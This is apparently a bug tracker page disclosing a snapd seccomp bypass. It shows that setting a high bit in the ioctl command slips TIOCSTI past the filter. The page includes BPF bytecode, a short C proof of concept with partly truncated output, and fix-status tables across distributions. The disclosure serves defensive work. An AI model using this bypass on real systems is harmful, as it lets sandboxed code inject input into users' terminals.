snap: seccomp blacklist for TIOCSTI can be circumvented
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
snapd |
Fix Released
|
Medium
|
Zygmunt Krynicki | ||
snapd (Arch Linux) |
Fix Released
|
Undecided
|
Unassigned | ||
snapd (Debian) |
Fix Released
|
Undecided
|
Unassigned | ||
snapd (Fedora) |
Fix Released
|
Undecided
|
Unassigned | ||
snapd (Ubuntu) |
Fix Released
|
Undecided
|
Unassigned | ||
Trusty |
Fix Released
|
Undecided
|
Unassigned | ||
Xenial |
Fix Released
|
Undecided
|
Unassigned | ||
Bionic |
Fix Released
|
Undecided
|
Unassigned | ||
Cosmic |
Fix Released
|
Undecided
|
Unassigned | ||
Disco |
Fix Released
|
Undecided
|
Unassigned |
Bug Description
snap uses a seccomp filter to prevent the use of the TIOCSTI ioctl; in the
source code, this filter is expressed as follows:
# TIOCSTI allows for faking input (man tty_ioctl)
# TODO: this should be scaled back even more
ioctl - !TIOCSTI
In the X86-64 version of the compiled seccomp filter, this results in the
following BPF bytecode:
[...]
0139 if nr == 0x00000010: [true +0, false +3]
013b if args[1].high != 0x00000000: [true +205, false +0] -> ret ALLOW (syscalls: ioctl)
0299 if args[1].low == 0x00005412: [true +111, false +112] -> ret ERRNO
030a ret ALLOW (syscalls: ioctl)
[...]
This bytecode performs a 64-bit comparison; however, the syscall entry point for
ioctl() is defined with a 32-bit command argument in the kernel:
SYSCALL_
{
return ksys_ioctl(fd, cmd, arg);
}
This means that setting a bit in the high half of the command parameter will
circumvent the seccomp filter while being ignored by the kernel.
This can be tested as follows on Ubuntu 18.04. You might have to launch the
GNOME calculator once first to create the snap directory hierarchy, I'm not
sure.
=======
user@ubuntu-
#define _GNU_SOURCE
#include <termios.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <errno.h>
static int ioctl64(int fd, unsigned long nr, void *arg) {
errno = 0;
return syscall(__NR_ioctl, fd, nr, arg);
}
int main(void) {
int res;
char pushmeback = '#';
res = ioctl64(0, TIOCSTI, &pushmeback);
printf("normal TIOCSTI: %d (%m)\n", res);
res = ioctl64(0, TIOCSTI | (1UL<<32), &pushmeback);
printf(
}
user@ubuntu-
user@ubuntu-
#normal TIOCSTI: 0 (Success)
#high-bit-set TIOCSTI: 0 (Success)
user@ubuntu-
user@ubuntu-
user@ubuntu-
[...]
user@ubuntu-
user@ubuntu-
normal TIOCSTI: -1 (Operation not permitted)
#high-bit-set TIOCSTI: 0 (Success)
user@ubuntu-
user@ubuntu-
/home/user/
user@ubuntu-
=======
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.
CVE References
Changed in snappy: | |
importance: | Undecided → Critical |
status: | New → Triaged |
Changed in snapd (Debian): | |
status: | New → Fix Released |
Changed in snapd: | |
status: | Fix Committed → Fix Released |
importance: | Critical → Medium |
Changed in snapd (Arch Linux): | |
status: | New → Fix Released |
Changed in snapd (Fedora): | |
status: | New → Fix Released |
Changed in snapd (Ubuntu Disco): | |
status: | New → Fix Released |
Changed in snapd (Ubuntu Cosmic): | |
status: | New → Fix Committed |
Changed in snapd (Ubuntu Bionic): | |
status: | New → Fix Committed |
Changed in snapd (Ubuntu Xenial): | |
status: | New → Fix Committed |
Changed in snapd (Ubuntu Trusty): | |
status: | New → Fix Committed |
information type: | Private Security → Public Security |
I'm adding a reproducer to the source tree. Looking at options on how to fix that without changes to libseccomp/ golang- seccomp now.